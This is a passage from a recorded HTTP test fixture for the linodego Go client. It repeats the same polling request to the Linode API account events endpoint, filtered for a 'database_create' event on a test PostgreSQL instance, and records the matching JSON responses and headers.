Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:07:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:08:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:08:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:08:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:08:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:09:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:09:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:09:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:09:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:10:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:10:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:10:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:10:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:11:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:11:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:11:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:11:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:12:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 